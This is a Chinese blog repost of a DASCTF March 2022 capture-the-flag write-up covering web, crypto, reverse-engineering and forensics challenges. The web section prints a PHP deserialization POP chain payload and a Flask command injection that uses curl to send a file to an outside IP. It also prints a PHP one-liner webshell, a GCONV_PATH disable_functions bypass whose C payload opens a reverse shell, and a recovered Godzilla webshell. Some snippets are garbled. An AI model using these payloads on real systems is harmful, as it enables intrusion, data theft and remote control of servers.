DASCTF三月赛

DASCTF三月赛,第1张

DASCTF2022.3部分题目 Web ezpop

题目源码如下



class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

将传入的参数cmd用反序列化函数进行处理,如果传入的对象是由fin类生成那么调用fin里的destuct()。函数中的echo输出流可控,尝试调用what类的toString方法,逐渐构造出pop链。

fin.__destruct => what.__toString => fin.run => crow.__invoke => fin.__call() =>mix.get_flag()

这里虽然fin类当中只有一个变量,但可以声明多个对象指向该类,从而实现利用链的构造。

payload如下


class crow
{
    public $v1;
}
class fin
{
    public $f1;
}
class what
{
    public $a;
}
class mix
{
    public $m1='?>;
}
$fin = new fin();
$b = new what();
$fin2 = new fin();
$c = new crow();
$fin3 = new fin();
$d = new mix();

$fin->f1 = $b;
$b->a = $fin2;
$fin2->f1 = $c;
$c->v1 = $fin3;
$fin3->f1 = $d;

echo serialize($fin);

使用postman发包执行shell命令

calc

app.py代码

coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag


@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  

看起来eval和os.system函数两处都可以实现命令执行

但实际上即使将上面的payload转为十六进制编码,也无法执行命令,可能是因为request.values.get(“num”)后进行了转义,导致十六进制代码无法执行。

这里利用字符串逃逸,进入os.system函数中执行。

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

这里通过#注释的方法使得eval函数正常执行,利用反引号`进行命令执行

/calc?num=123#`curl -X GET -F A=@tmp/log.txt 8.130.24.238:9999`#`cat /flag`

将上面代码的空格和#替换为unicode,即可绕过waf。

upgdstore

构造php文件上传,并访问

base64_decode("c2hvd19zb3VyY2U=")("/var/www/html/index.php");

查看到index.php的源码如下

<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计,传个火?!
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo ''.$msg." Look here~ ".$img_path."";
}

这里有file_get_contents函数,同样的思路利用编码后的filter协议读取一句话木马

写入一句话木马,将其转为base64形式

 eval($_REQUEST[1]);?>

上传得到文件路径,655f7bf4bd05f2ade4d79f3e19e2d9fe.php

php://filter/convert.base64-decode/resource=655f7bf4bd05f2ade4d79f3e19e2d9fe.php

Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT02NTVmN2JmNGJkMDVmMmFkZTRkNzlmM2UxOWUyZDlmZS5waHA="));

访问该文件即可,访问可以发现system函数调用失败

需要bypass disable_functions

准备上传文件的html和php代码,php代码需要base64处理后上传

<form enctype="multipart/form-data" method="post" action="http://2eddea50-6a10-4c27-82c5-2c3c3a79efcb.node4.buuoj.cn:81/uploads/33a35ae4a5af682c7a5d1508ce179a43.php">
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
form>

if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
move_uploaded_file($temp_file, "/tmp/exp.so");
}

利用上面的php代码上传文件gconv_module和exp.so

module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

编写exp.so,并使用gcc编译gcc exp.c -o exp.so -shared -fPIC

#include 
#include 

void gconv() {}

void gconv_init() {
  system("bash -c 'exec bash -i &>/dev/tcp/8.130.24.238/6666 <&1'");
}

利用刚才的一句话木马利用传上去的exp.so

putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

不知道为什么报错,仔细想也不知道是哪一步有问题

Crypto

给出源码

from secret import flag
import random

# flag = b'flag{%s}' % md5(something).hexdigest()
# note that md5 only have characters 'abcdef' and digits

def Flower(x, key):
    flower = random.randint(0, 4096)
    return x * (key ** 3 + flower)

flag = flag[5:-1]
rounds = len(flag)

L, R = 1, 0
for i in range(rounds):
    L, R = R + Flower(L, flag[i]), L

print(L, R)
'''
L=15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899 
R=139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
'''

容易得出原来的R等于当前的L取R的余数

而接下来只需要获得key的值,也就是flag的值就可以了。

虽然添加了随机数flower,但是L本身的数据值非常大,在开方计算中忽略不计。

import gmpy2

L=15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899 
R=139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
flag = ""

while L!=1:
    Rt = L%R
    t = (L-R)//R
    key = gmpy2.iroot(t,3)[0]
    flag += chr(key)
    L = R
    R = Rt

print(flag[::-1])
Re

easyre

下载exe文件,拖到ollydbg里直接脱壳

拖进ida进行分析,发现可疑点

这里有right字符,f5进去查看,容易发现此处是字符匹配,相等则退出

现在只需要拿到这个字符串的值即可。

MiSC Au5t1n的秘密

搜索字符串,得到含有base编码的http流,看到如下结果

这里是写入文件内容,将base编码的数据写入到文件流中,解码查看输入的内容。

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='093c1c388069b7e1';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }   
    }
}

使用的哥斯拉生成木马攻击

导出didi.php文件,解密

key='093c1c3880609b7e1'
f=open("C:\Users\user\Downloads\didi2.php","rb").read()
for i in range(len(f)):
    print(chr(f[i]^ord(key[i+1&15])),end='')

解出php代码,有乱码问题,无法读取。

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/758785.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-01
下一篇2022-05-01

发表评论

登录后才能评论

评论列表(0条)

    保存